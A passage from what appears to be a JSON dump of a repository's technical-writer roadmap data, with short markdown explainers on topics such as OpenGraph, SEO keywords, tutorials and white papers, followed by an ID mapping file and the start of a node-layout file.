    "content": "# OpenGraph Data\n\nOpenGraph is a technology first introduced by Facebook in 2010 that allows integration between the social media platform, user's website, and their shared content. It works by allowing any web page to become a rich object in a social network by adding basic metadata to the page. With the help of OpenGraph protocol, we can use a web page as a part of a social graph. It is used to control how URLs are presented when they are shared on social media. The data includes details like the title of the content, description, URL, and an associated image.```markdown\n## OpenGraph Data\n\nOpenGraph data is a protocol that enables any web page to become a rich object in a social graph. It was introduced by Facebook to allow for an integration between the user's website, Facebook, and any shared content. OpenGraph involves adding basic metadata to a page, enabling it to be used as part of a social graph. This metadata can control how URLs are presented when shared on social media, encompassing details such as the title, description, URL, and corresponding image of the content.\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/pillar-content@wBDjGa2PgdmeXxHnILFjY.md",
    "content": "# Pillar Content\n\n\"Pillar content\" is a comprehensive piece of content on a specific topic or theme that can be broken down into many smaller related sections. This could range from an extensive blog post, to an e-book or a guide. The main intention of creating pillar content is to share highly valuable and in-depth information about a particular subject. It forms the core or the 'pillar' of your content strategy. Supporting contents or 'cluster contents', which are essentially various sub-topics related to the pillar content, link back to this main pillar, creating a content cluster. These cluster content pieces can be blog posts, podcasts, infographics, or videos, etc., which keep your audience engaged and drives them back to your pillar content. Pillar content not only positions you as an authority in your field but also improves your SEO rankings."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/plagiarism-checker@cSZbTOB0FPPOlGzy-MkSi.md",
    "content": "# Plagiarism Checker\n\n**Plagiarism** refers to the act of copying someone else's work, ideas, or expressions and presenting them as your own without giving due credit to the original author. This unoriginal practice is seen as theft of intellectual property and can incur serious repercussions in both academic and professional settings. In the case of technical writing, using specialized plagiarism detection softwares is crucial to ensure the originality and authenticity of the content. Some of these detection tools include Turnitin, Grammarly, Copyscape, and many more. They work by cross-referencing your work with a vast database of academic and professional documents to identify any matching phrases that could constitute plagiarism."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/platform-support@How-4Re1NhxPLDoshUM-G.md",
    "content": "# Platform Support Manual\n\nThe **Support Manual** is a comprehensive document that details the use and maintenance of a product or service. It's intended to guide users while troubleshooting or strategizing for optimal use. Inside a support manual, you'll often find a product or service overview, step-by-step instructions for various procedures, a troubleshooting section to resolve common issues,\nand a list of contacts for more in-depth support. Each part is written clearly and concisely, with simplified language and visuals when necessary, to ensure that users of varying levels of expertise can effectively understand and apply the guidelines."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/platform-tracking-and-metrics@hlhBgI3SvU3tMtNaHtu8k.md",
    "content": "# Platform Tracking and Metrics\n\n`Platform tracking` in the context of technical writing refers to the process of monitoring and analyzing how users interact with a particular content on different platforms. It involves tracking user behavior, content read, the devices used, operating systems, geographical location, time spent, and more. This data helps understand how effectively the content serves its purpose across various platforms. It's important to note that platform tracking should always respect user privacy and data protection regulations."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/product-content@d9mTdwqx6QWKYO5PA_rDH.md",
    "content": "# Product Content\n\n**Product Content** is a significant type of technical writing which pertains to any information about a product, usable for consumer guidance. This includes user manuals, installation guides, frequently asked questions (FAQs), product descriptions, and software application interfaces. Product content not only involves detailing how a product works but also providing information about dealing with potential issues. The aim of this type of technical writing is to simplify complex concepts and instructions relevant to the product to help users understand its functionalities as easily as possible. This area of technical writing requires accuracy, clarity, simplicity, and thorough research about the product."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/publishing-tools@jC3ZrpskBqzxiV6SKf4Uf.md",
    "content": "# Publishing Tools\n\nWhen discussing the realm of tooling in technical writing, publishing plays a significant role. It involves the final process of making the documentation accessible to users. There are various tools used for publishing like Adobe FrameMaker, MadCap Flare, Jekyll, etc, which support different formats like PDF, HTML, ePubs, etc. They could also include features for version control, collaboration, and content reuse. This not only makes the content accessible to the users but also ensures that the documentation is kept consistent and up-to-date."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/references@8qSL2esjsA3YYuB4d7B9z.md",
    "content": "# References\n\nReferences are an essential part of any technical document. They provide a means to verify the information you have given, adding credibility to your work. Cite sources from where you gather your data, facts or figures. According to the style of writing you are using, you may be required to provide in-text citations or footnotes. Also, there are various formats for creating a reference list or bibliography at the end of your document. Examples of some commonly used formats include APA, MLA, and Chicago. Always make sure that your references are relevant, current, and correctly cited to avoid plagiarism. The number of references may vary based on the type, length, and complexity of the technical document."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/release-notes--product-announcements@-GZXLc9RjY6eWkKC1K_Rg.md",
    "content": "# Release Notes and Product Announcements\n\nRelease notes, often a part of software documentation, are brief, high-level summaries provided to the users during a new release of the product. They contain vital information about the updates, including new features, enhancements, bug fixes, and often known issues of the released software version. Each release note is associated with a specific software version and aids the users in understanding what changes or improvements to expect in that particular release. An effective release note will discuss new features or enhancements in a user-focused manner, identify any action required by the user, highlight known issues and workarounds, and contain links to more detailed information if necessary. It empowers users to use the software more effectively and troubleshoot potential issues."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/required-skills@8rjUZ9NZPGwVRGmk6Dlyb.md",
    "content": "# Required Skills\n\nHere are Core Skills required to become a proficient **Technical Writer**:\n\n1. **Writing Skills**: Excellent grasp over language and grammar, superior spelling ability, and an understanding of punctuation are essential for a technical writer. \n\n2. **Technical Expertise**: They should have a good understanding of complex technical concepts and translate them into understandable content. \n\n3. **Research Skills**: Identifying the needs of the end-user, and the ability to quickly understand new concepts and technologies.\n\n4. **Tools Proficiency**: Technical writers must be proficient in various communication and publishing tools like Microsoft word, Google Docs, Adobe Acrobat, and Photoshop, etc. \n\n5. **Design skills**: Understanding of basics of layout and design is a huge plus for technical writers. \n\n6. **Attention to Detail**: They should be detail-oriented to create clean, high-quality content. \n\n7. **Organization Skills**: They should have the ability to manage multiple projects and consistently meet deadlines."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/research-reports@HoNQSWy82ybT0YmejCzRb.md",
    "content": "# Research Reports\n\nResearch reports are comprehensive documents that encompass a detailed study, investigation, or analysis carried out on a particular subject. They are used to understand a specific research problem by collecting and presenting sufficient evidence to provide solutions. These reports can be prepared by organisations, research institutions, or individuals in the field of study. They are used to understand industry trends, demographic data, market activity, and competition. They can also be used to analyze a hypothesis, prove a point, or provide insightful conclusions for a particular issue or topic. Research reports are essential resources for technical writers as they provide the necessary background and context to communicate complex technical information effectively."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/research-tools@0XWiraeoicNBbaGYQnNZr.md",
    "content": "# Research Tools\n\nIn the work of a technical writer, **Research Tools** are critical, as they aid in sourcing, verifying, and organizing information needed for creating technical documents. Various specific tools are available, depending on the information you're seeking. For instance, scientific papers may be searched using **Google Scholar** or specialized databases like **PubMed**. **Semantic Scholar** can help find academic papers across many disciplines. For less formal online sources, **Google Alert** can be set up to watch for new information on a specific topic. Further, **Evernote** can be used to compile and manage information from multiple sources. For organizing and evaluating data, tools like **Microsoft Excel**, **Tableau**, or **Google Sheets** can be employed. Please remember that the choice of tool will depend on your subject, the type of information you need, and how you want to manage and present that information."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/role-of-technical-writers-in-organizations@j69erqfosSZMDlmKcnnn0.md",
    "content": "# Role of Technical Writers in an Organization\n\nThe role of a **Technical Writer** is primarily to translate complex technical information into simpler language that is easy to understand for a non-technical audience. They design, write, edit, and rewrite technical pieces like operating instructions, FAQs, installation guides, and more. Apart from this, they also gather and disseminate technical information among customers, designers, and manufacturers. Essentially, their job involves communicating technical terminologies and a clear understanding of complex information to those who need it in an easy-to-understand format.\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/search-trends@IZqyEqkrBoEfLBwIQwJl6.md",
    "content": "# Search Trends\n\n\"Search Trends\" refers to the analysis of the patterns, fluctuations, and shifts in the popularity of specific search terms over a given period. This data-driven approach can be leveraged to identify the trending topics or keywords among users, often within specific regions and contexts. Google Trends is a common platform for examining these trends, providing ample insights into the most recent or popular search queries. Utilizing search trends can allow technical writers to keep their content resonating with their audience by incorporating the latest or topical keywords, resulting in improved content visibility and relevancy."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/seo-keywords@IA6TuXmOZr_-Y3HLHqxp0.md",
    "content": "# SEO Keywords\n\n\"SEO Keywords\" are the words and phrases in your web content that allow people to find your site via search engines such as Google. When used effectively, they can dramatically increase the visibility of your content, making it easier for those who are looking for information on your topic to find you. Used in titles, subheadings, meta descriptions, image descriptions, URL structures, and throughout the webinar, these keywords make it evident what the content is about. For maximizing effectivity, the SEO Keyword should align closely with the content topic, be relevant to your target audience, and be phrases that people commonly search for. An important aspect to note is that keyword stuffing, the practice of overloading content with keywords in an unnatural manner, is heavily penalized by search engines. Keywords usage should be strategic and the content should always prioritize providing value to the reader."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/seo-tools@FD-8LQ_g2_O_i2Qwp-Gpv.md",
    "content": "# SEO Tools\n\nSEO tools are critical for any technical writer as they help streamline the process of optimizing content for search engines. There is a wide variety of these tools available in the market, some of the most popular ones being Google Analytics, SEMRush, Moz, and Ahrefs. These tools provide different functionalities such as keyword research, backlink analysis, and website audits. They can work as stand-alone tools or be integrated within content management systems for seamless functioning. Remember though, while these tools assist in SEO, effective optimization still largely depends on quality content and strategic planning."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/short-tail-keywords@eAioe6b7w8pV2Dvawl_fw.md",
    "content": "# Short-tail Keywords\n\n\"Short Tail Keywords\" are concise search phrases, typically containing one or two words. They bear a broad search intent due to their general nature and high search volume. An example might be a keyword as simple as 'Shoes'. It poses an immense search intent possibility ranging from the need to buy shoes to finding shoe repair services. Short tail keywords are incredibly competitive in SEO, often dominated by large and well-established corporations, making it harder for smaller businesses or new websites to rank for these terms."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/story-telling@27muFD1Ld1gF6hhIh22sG.md",
    "content": "# Story Telling\n\n**Story Telling** is a powerful tool for technical writers. It allows you to communicate complex concepts and information in a more relatable and understandable way. Essentially, it revolves around presenting information as a narrative with a clear beginning, middle, and end. This entails establishing context (beginning), explaining the process or concept (middle), and summarizing the outcome, conclusion, or application of the process or concept (end). Story telling in technical writing can take various forms including business scenarios, case studies, user stories, etc. It is essential to keep your 'story' relevant, realistic, and as concise as possible. Remember, the purpose is not primarily to entertain but to educate and inform your audience while keeping them engaged."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/subtle-selling@lxSSjgtqJk-PtRp4hARDw.md",
    "content": "# Subtle Selling\n\n**Subtle Selling**: This is an approach in technical writing where the writer indirectly promotes or advocates for a particular product, service, or idea. Subtle selling is about providing informative, helpful content without overtly pushing a sale or marketing a product. It often involves highlighting the unique features or aspects of a product or service in the context of solving a problem or addressing a particular need, hence subtly influencing the reader to consider it. It's about clever positioning rather than overt persuasion, emphasizing the value a product or service can provide in a discreet and unobtrusive manner."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/support-request-evaluation@xFMsHYYxC0hLueY9xxART.md",
    "content": "# Support Request Evaluation\n\n`Request Evaluation` in the context of a technical writer refers to the process of assessing or defining the requirements and the scope of a given writing project. It includes assessing information sources, understanding the objectives of the document, defining the target audience, understanding regulatory specifications if any, and considering the timelines and deadlines. This stage is critical in giving the writer a comprehensive understanding of what is expected from the project, thereby equipping them to structure an efficient content strategy."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/technical-content-marketing@mJ1s5-SGd_tj8y0LLZxYg.md",
    "content": "# Technical Content Marketing\n\n`Marketing` is a business strategy which involves identifying customer needs and determining how best to meet those needs. In other words, it is about ensuring that a business or product is positioned in such a way that it will attract the desired audience, encouraging them to buy in. This strategy comprises multiple aspects including `market research`, `branding`, `product development`, `sales`, `promotion`, and `public relations`. Marketers use these tactics to create a company image, build customer relationships, attract potential customers and retain existing ones. The ultimate aim of marketing is to boost sales and help the business grow."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/technical-website-copy@tAFenZA0MFhMPE5cevNuD.md",
    "content": "# Technical Website Copy\n\n\"Web copy\" refers to all the text content that appears on a website. This includes everything from the headlines, subheadlines, body content, call-to-action statements, product descriptions to all the metadata like the title tags and meta descriptions. The primary purpose of web copy is to communicate the site's purpose or value proposition to its visitors and motivate them to take a certain action—be it make a purchase, subscribe to a newsletter, etc. It's a critical component in search engine optimization (SEO) as search engines rank websites based on the quality and relevance of the website's copy to user searches. Markdown, a lightweight markup language, can be used to write web copy; it allows writers to format text (like headers, lists, and links) in plain text which will then be converted into HTML for web display."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/technology-expertise@DubLTESNn3wvEH_bKQZbP.md",
    "content": "# Technology Expertise\n\n**Tech Expertise**: The technical expertise of a technical writer mainly refers to their understanding of the technology or the topic they are writing about. It encompasses their ability to efficiently understand complex technical processes, terminologies, and products, and translate them into simpler, more understandable language. This understanding might be based on their formal education in technical disciplines, personal interest, or gained experience in the industry. It's worth noting that tech expertise is not about being a subject matter expert on every technical field, but rather having the skills to comprehend and interpret information accurately. It involves the use of various software tools, Research and Development (R&D), and sometimes coding. This proficiency allows technical writers to create thorough, accurate, user-friendly documents and manuals."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/tooling@_5xFbl2BHx0f2u9HmSVS8.md",
    "content": "# Tooling\n\nIn the realm of technical writing, \"tooling\" refers to the various software and applications technical writers utilize to create, manage, and publish high-quality technical documentation. This can include word processors, desktop publishing apps, XML editors, content management systems, and many more. Some popular examples of tools used by technical writers include Microsoft Word, Google Docs, Adobe FrameMaker, MadCap Flare, Markdown, GitHub, and Jira. These tools enhance productivity by allowing for document versioning, enabling collaboration, offering templates for consistent formatting, providing features for managing large amounts of content, and even offering functionality for translating documentation into multiple languages. The choice of tools depends on the specific needs and workflow of the technical writer or the organization they are working for."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/top-funnel-content@5dnZe0oCIzb5qGwgI6pwH.md",
    "content": "# Top-funnel Content\n\n\"Top funnel\" refers to the awareness stage of a customer's journey, where they first come into contact with a business or product. In this stage, they become aware of a problem they have and begin to search for information or solutions. Content at this stage aims to capture the attention and interest of potential customers by offering solutions or valuable information that relates to their problem. This content is typically broad and informative, rather than product-specific. The aim is to inform and educate the audience, while establishing trust and brand authority."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/topic-score@SX4vL_JEHrwqHdThyqKKO.md",
    "content": "# Topic Score\n\n`Topic Score` is a computational study that calculates how well a particular content piece covers a specified topic. Usually measured on a scale of 0 to 100, it uses different metrics such as keyword usage, semantic relevance, depth of topic coverage, among others. The higher the topic score, the more comprehensively your content is considered to cover the targeted topic. It can be beneficial for content strategists and technical writers to focus on target keywords in order to improve overall content quality and boost SEO performance."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/troubleshooting@8fJcJi96Ige6z2PBuTquC.md",
    "content": "# Troubleshooting Content\n\nTroubleshooting is a vital aspect of help content where the technical writer provides solutions to potential problems end-users might encounter while using a product or a service. Typically formatted as a step-by-step guide, troubleshooting guides aren’t necessarily there to fix the issue immediately but to identify what course of action to take in case of certain problems. Clear, precise, and easy-to-follow, these guides should cover common software issues, hardware malfunctions, or system errors, significantly improving user experience and reducing the need for support service contacts."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/tutorials@K459CcDrcPMJCimIcCzM6.md",
    "content": "# Tutorials\n\n`Tutorials` fall under the bottom-funnel content in technical writing. They are usually step-by-step guides designed to help users achieve a specific task using a software, hardware, or system. Tutorials can take various forms, including written step-by-step instructions, annotated screenshots, videos, or even interactive modules where users can practice what they are learning in real-time. They are more hands-on and practical, often tackling real-world scenarios to ensure that users can transfer what they learn directly to their context. Tutorials are usually concise, clear and orientated towards specific tasks, this makes them accessible and user-friendly for people with varying levels of expertise."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/types-of-technical-content@xV8mox1WnSbl2jAGqQpeg.md",
    "content": "# Types of Technical Content\n\nThere are several types of technical writing, each focused on different aspects. **End-user documentation writers** specialize in creating materials for product users (like user manuals and quick start guides). **Traditional technical writers** draft articles, FAQs, guides, and other content primarily for websites. **API/SDK writers** are responsible for creating and maintaining documentation for application programming interfaces (Software Development Kits), which requires knowledge of multiple programming languages. **Medical writers** work in the medical sector and must understand medical concepts. **Grant and proposal writers** are essential for organizations obtaining funds for projects. Note that these are not all mutually exclusive; many technical writers span multiple categories."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/user-goals@FgyBWRtE34VNqBt_5QhAf.md",
    "content": "# User Goals\n\n## User Goals\n\nUser goals pertain to the actions that a user wants to perform or the outcomes they hope to achieve with a certain product or service. For technical writers in the context of developer docs, understanding user goals is critical as it drives the creation of accurate, relevant, and effective documentation. Whether it's installing a software, using an API, debugging an issue, or learning advanced functionalities, these goals should guide all aspects of document planning and writing. It is essential to isolate these goals through user feedback, surveys, or usability testing to produce documentation that improves user-product interaction and problem-solving processes, making users more self-sufficient. From a developer's perspective, user goals may involve tasks related to code implementation, product integration, problem troubleshooting, and more."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/user-persona@UuV51vM2JT_LFFXORSwru.md",
    "content": "# User Persona\n\nUser Persona is a significant and efficient tool used by technical writers to address their audience effectively. It is a fictional character, a typical member of the target audience who is characterized by behavior patterns, goals, skills, attitudes, etc. The persona is built based on the data about real users. It serves to help technical writers visualize the audience, understand their needs and expectations, ensure that the content is clearly understood, and enhance the overall readability. User Personas allow writers to design effective communication strategies and create more user-centered documentation, making information easy to find, understand, and use."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/what-is-technical-writing@jl1FsQ5-WGKeFyaILNt_p.md",
    "content": "# What is Technical Writing\n\nTechnical writing involves explaining complex concepts in a simple, easy-to-understand language to a specific audience. This form of writing is commonly utilized in fields such as engineering, computer hardware and software, finance, consumer electronics, and biotechnology. \n\nThe primary objective of a technical writer is to simplify complicated information and present it in a clear and concise manner. The duties of a technical writer may include creating how-to guides, instruction manuals, FAQ pages, journal articles, and other technical content that can aid the user's understanding. \n\nTechnical writing prioritizes clear and consistent communication, using straightforward language and maintaining a uniform writing style to prevent confusion. Technical writers often integrate visual aids and leverage documentation tools to achieve these objectives.\n\nThe ultimate goal is to enable the user to understand and navigate a new product or concept without difficulty.\n\nVisit the following resources to learn more: \n\n- [@article@Indeed: What Is Technical Writing?](https://www.indeed.com/career-advice/career-development/technical-writing)\n- [@article@TechWhirl: What Is Technical Writing?](https://techwhirl.com/what-is-technical-writing/)\n- [@video@Amruta Ranade: What do Technical Writers do?](https://www.youtube.com/watch?v=biocrCx5T_k)\n- [@video@Technical Writer HQ: What is Technical Writing?](https://www.youtube.com/watch?v=KEI5JzBp2Io)\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/white-papers@Xa7yBWcbP2aPs4u0C4cLJ.md",
    "content": "# White-papers\n\nWhite papers are authoritative reports or guides that help readers comprehend an issue, solve a problem, or make a decision. As a technical writer, crafting white papers comprise primarily of intricately marrying data with insightful commentary. These documents are usually more detailed and lengthier than blogs or articles, often extending to multiple pages. They have a formal tone, due to their informational and problem-solving nature, and they may include graphs, charts, or other visual aids to help explain the information presented, along with a detailed methodology and analysis."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/who-is-a-technical-writer@ZRGsokU313Ky-anWbWK6q.md",
    "content": "# Who is a Technical Writer\n\nA **Technical Writer** is a professional communicator whose role is focused on creating, updating, and managing technical documentation, instructional manuals, how-to guides, and similar documents. These professionals have the skillset to translate complex technical information into simplified terms that can be easily understood. Technical writers often work closely with software engineers, project managers, system analysts, and other technical experts to gather information. They can be found across a wide range of industries, including IT, engineering, scientific research, medical, and others. The ultimate aim of a technical writer is to enable the end-users, whether they are customers, employees, or any stakeholders, to comprehend and use a product or service effortlessly.\n\n- [@article@**What Is a Technical Writer?**](https://boffin.education/introduction-to-technical-writing/#2-what-is-a-technical-writer)\n- [@article@**A Day in the Life of a Technical Writer**](https://boffin.education/technical-writing-roles-and-responsibilities/#4-a-day-in-the-life-of-a-technical-writer)\n- [@article@**Glossary of Technical Writing Terms: \"Technical Writer\"**](https://boffin.education/glossary-of-technical-writing-terms/#technical-writer)\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/writing-style-guides@cnEVPsqZqs9ZdyqmOuLGA.md",
    "content": "# Writing Style Guides\n\nAs a technical writer, creating a **writing guide** is essential to ensure consistency and quality in all documents you create. A writing guide can entail a set of rules about the style, tone, terminology, syntax, punctuation, and lexicon in your text. This should aid in maintaining a uniform approach to your writing, which is vital when dealing with technical information. Your writing guide will depend on the project requirements and preferences of your target audience, and it needs to be easily understood and followed by anyone involved in the project. Additionally, your guide may also include procedures on how to incorporate images, links, or other similar elements in your text. Importantly, make sure to keep updating your guide as you gain more knowledge and skills in technical writing."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/written-communication-proficiency@7-3tqRUpntoQP4nK_nul5.md",
    "content": "# Written Communication Proficiency\n\nWritten communication is a critical asset in a technical writer's skill set. This skill is not just about having a good command of grammar and vocabulary, but also the ability to convey complex information in an understandable, clear and concise manner. A proficient technical writer should know how to structure their content appropriately, maintain a consistent tone and voice, and use illustrative examples to make the concepts more relatable for the audience. Accuracy is essential in written communication as technical writing often involves descriptions of intricate processes or use-cases where there is no margin for error. Understanding the nuances of different writing styles and adapting to the intended audience's comprehension level are also a part of effective written communication.\n\nVisit the following resources to learn more:\n\n- [@article@Formal, permanent, clear business communication through writing](https://www.scribd.com/document/546030656/Unit-3-Written-Communication)"
  },
  {
    "path": "src/data/roadmaps/technical-writer/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [];\n---\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/migration-mapping.json",
    "content": "{\n  \"introduction\": \"HlUUGj3dOZ68t4gIjerXh\",\n  \"introduction:who-technical-writer\": \"ZRGsokU313Ky-anWbWK6q\",\n  \"introduction:what-technical-writing\": \"jl1FsQ5-WGKeFyaILNt_p\",\n  \"introduction:role\": \"j69erqfosSZMDlmKcnnn0\",\n  \"introduction:forms\": \"cNeT1dJDfgn0ndPzSxhSL\",\n  \"introduction:growth\": \"FVxNjbDBxgf6vkZWw1Awt\",\n  \"required-skills\": \"8rjUZ9NZPGwVRGmk6Dlyb\",\n  \"required-skills:tech-expertise\": \"DubLTESNn3wvEH_bKQZbP\",\n  \"required-skills:written-communication\": \"7-3tqRUpntoQP4nK_nul5\",\n  \"required-skills:lang-proficiency\": \"kNIiAJrvrNoOAllUbRtUB\",\n  \"tooling\": \"_5xFbl2BHx0f2u9HmSVS8\",\n  \"tooling:publishing\": \"jC3ZrpskBqzxiV6SKf4Uf\",\n  \"tooling:plagiarism\": \"cSZbTOB0FPPOlGzy-MkSi\",\n  \"tooling:editing\": \"Am_ocP3r0HM45LYfMcQxM\",\n  \"tooling:git-version-control\": \"ffJyulu9GPB_TDqjeJYyV\",\n  \"tooling:markdown\": \"TJ1iuzQ9u_WbrllRQkgm_\",\n  \"tooling:research-tools\": \"0XWiraeoicNBbaGYQnNZr\",\n  \"tooling:blogging-platforms\": \"sdoFe4A3y_-Zp3mlrJ5r8\",\n  \"tooling:seo-tools\": \"FD-8LQ_g2_O_i2Qwp-Gpv\",\n  \"best-practices\": \"yYLsG2LuPaNUuhXSVev_0\",\n  \"best-practices:story-telling\": \"27muFD1Ld1gF6hhIh22sG\",\n  \"best-practices:subtle-selling\": \"lxSSjgtqJk-PtRp4hARDw\",\n  \"best-practices:content-structure\": \"Ezz2e4lYLD_bdNNwvsV_y\",\n  \"best-practices:call-to-actions\": \"a1ChwDwztjZBi79y38AGa\",\n  \"best-practices:references\": \"8qSL2esjsA3YYuB4d7B9z\",\n  \"best-practices:great-titles\": \"WmOvQYlnedX0QgC5Adeen\",\n  \"best-practices:content-objectives\": \"7FGMPztd6ouvqemcGhIol\",\n  \"best-practices:user-persona\": \"UuV51vM2JT_LFFXORSwru\",\n  \"best-practices:writing-guide\": \"cnEVPsqZqs9ZdyqmOuLGA\",\n  \"content-research\": \"O-dZEkmU0tP3dUIUPM6YJ\",\n  \"content-research:topic-score\": \"SX4vL_JEHrwqHdThyqKKO\",\n  \"content-research:keyword-volume\": \"JtFLW5WwH5Ixmnb0qikia\",\n  \"content-research:forums\": \"QMehC1tmWPVWaTsiV9sFC\",\n  \"content-research:search-trends\": \"IZqyEqkrBoEfLBwIQwJl6\",\n  \"content-research:request-evaluation\": \"xFMsHYYxC0hLueY9xxART\",\n  \"types\": \"xV8mox1WnSbl2jAGqQpeg\",\n  \"types:product-content\": \"d9mTdwqx6QWKYO5PA_rDH\",\n  \"types:product-prose\": \"UFuMiHtWq1M8dS8547lOp\",\n  \"types:how-to-guides\": \"C-eVVtF6Yabp2a6XvMeh_\",\n  \"types:developer-docs\": \"e8oNoXw1KLY4jDzojIXyk\",\n  \"types:developer-docs:user-goals\": \"FgyBWRtE34VNqBt_5QhAf\",\n  \"types:developer-docs:developer-journey\": \"2pNW7wDGih_m73lhGZRg6\",\n  \"types:developer-docs:documentation-structure\": \"jYhfx6RETFgDulyNqdTBy\",\n  \"types:api-references\": \"z5_73Q7dWbBd4m_OrdZlH\",\n  \"types:api-references:doc-generation-tools\": \"iBBeZopD8SNo7sWTohMim\",\n  \"types:api-references:api-definition\": \"co-35BsWMrD6PXohpFqba\",\n  \"types:help-content\": \"e_bsYrZ0eQqduURg2ybX4\",\n  \"types:help-content:troubleshooting\": \"8fJcJi96Ige6z2PBuTquC\",\n  \"types:help-content:support-content\": \"7w1SjK-LV9SBZJ673eAUd\",\n  \"types:help-content:support-manual\": \"How-4Re1NhxPLDoshUM-G\",\n  \"marketing\": \"mJ1s5-SGd_tj8y0LLZxYg\",\n  \"marketing:icp-buyer-persona\": \"O1apL6I_g9DQl8VbL3X4W\",\n  \"marketing:buyer-journey\": \"EhhKxYPtoLztZXBXl3ZGl\",\n  \"seo\": \"-IBL9S4DelIi07w_fmrX3\",\n  \"seo:seo-keywords\": \"IA6TuXmOZr_-Y3HLHqxp0\",\n  \"seo:seo-keywords:long-tail-keywords\": \"2LAvq7W11WMIubSprlK_l\",\n  \"seo:seo-keywords:short-tail-keywords\": \"eAioe6b7w8pV2Dvawl_fw\",\n  \"seo:seo-keywords:backlinking\": \"UphVii3y4T_PkRMqFJ4r_\",\n  \"top-funnel\": \"5dnZe0oCIzb5qGwgI6pwH\",\n  \"top-funnel:pillar-content\": \"wBDjGa2PgdmeXxHnILFjY\",\n  \"top-funnel:awareness-blogs\": \"7S2lymeBZSMBZSsmei7us\",\n  \"top-funnel:research-reports\": \"HoNQSWy82ybT0YmejCzRb\",\n  \"mid-funnel\": \"Q2KD70IKwBXAH3UQgeZpp\",\n  \"mid-funnel:generic-gated\": \"XDX2QxMUkUok2fcS3tFki\",\n  \"mid-funnel:white-papers\": \"Xa7yBWcbP2aPs4u0C4cLJ\",\n  \"mid-funnel:ebook\": \"5zQpravkqwafvwXVOuNPX\",\n  \"bottom-funnel\": \"vo1udIIRpxNZCpA3g32F3\",\n  \"bottom-funnel:comparative-posts\": \"2wjRA_pQ9cCG9Ww994FEM\",\n  \"bottom-funnel:tutorials\": \"K459CcDrcPMJCimIcCzM6\",\n  \"release-notes\": \"-GZXLc9RjY6eWkKC1K_Rg\",\n  \"case-studies\": \"W44q1iEj7RKM55-9jabMJ\",\n  \"faqs\": \"pgrKfp1trcIxhDdvLk95g\",\n  \"web-copy\": \"tAFenZA0MFhMPE5cevNuD\",\n  \"content-optimization\": \"XyFEYDJvJpGZ7qSdoSZeI\",\n  \"content-analysis\": \"TbSBCITdLswhVB82fErTP\",\n  \"content-analysis:url-shorteners\": \"qpOfqbgLy5TzlNQEyt6DG\",\n  \"content-analysis:platform-tracking\": \"hlhBgI3SvU3tMtNaHtu8k\",\n  \"content-analysis:conversion-tracking\": \"UiXn-CnPcLWAflKJzaJ2a\",\n  \"content-analysis:content-aging\": \"JgdrXG7MX1gGuNG9uyubA\",\n  \"content-distribution\": \"mrqBxsNRl1CQEKtuYSy9F\",\n  \"content-distribution:canonical-link\": \"NIxIhMEOxrUR8nbjbF_Fp\",\n  \"content-distribution:opengraph-data\": \"AarJ887P-SFRnKaOOv9yw\",\n  \"content-distribution:content-distribution-channels\": \"m9-DqsQfeukmhjhIfCph-\",\n  \"content-distribution:amplification-strategies\": \"_cAGbAswDhOqpoiiikPbD\"\n}"
  },
  {
    "path": "src/data/roadmaps/technical-writer/technical-writer.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"C1UYq0kwAatvnq8ondEGr\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 673.405148207419,\n        \"y\": 1896.6749108232366\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 673.405148207419,\n        \"y\": 1896.6749108232366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Tea_v904u6tNFuMBzkVft\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 880.405148207419,\n        \"y\": 1733.1749108232366\n      },\n      \"width\": 385,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 385,\n        \"height\": 224\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 880.405148207419,\n        \"y\": 